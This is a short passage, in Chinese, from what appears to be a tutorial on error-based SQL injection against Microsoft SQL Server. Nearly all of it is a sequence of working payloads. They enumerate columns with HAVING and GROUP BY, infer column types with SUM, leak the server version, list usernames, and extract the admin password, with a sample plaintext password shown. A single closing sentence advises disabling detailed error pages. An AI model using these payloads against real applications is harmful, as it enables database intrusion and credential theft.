' HAVING 1=1 -- → 錯誤揭露第一欄 users.id' GROUP BY users.id HAVING 1=1 -- → 錯誤揭露第二欄 users.usernameGROUP BY users.id, users.username, users.password, users.privs 直到無錯誤,確認完整欄位清單與順序。' UNION SELECT SUM(username) FROM users-- -- 錯誤提示 varchar 不能 SUM → username 是字串
' UNION SELECT SUM(id) FROM users-- -- 若報錯欄位數不符 → id 是數值型
' UNION SELECT @@version,1,1,1-- → 錯誤訊息完整顯示 SQL Server 版本與作業系統建置號。' UNION SELECT MIN(username),1,1,1 FROM users WHERE username > 'a'-- 依序取出 admin, chris, fred...' UNION SELECT password,1,1,1 FROM users WHERE username='admin'-- → 錯誤顯示 r00tr0x!。SELECT @ret=@ret+' '+username+'/'+password FROM users WHERE username>@ret 構造長字串轉換報錯。前提: 應用程式將詳細錯誤訊息回顯給用戶(ASP.NET 預設 customErrors=Off)。生產環境務必關閉詳細錯誤頁面,統一導向友善錯誤頁,切斷此攻擊鏈關鍵資訊來源。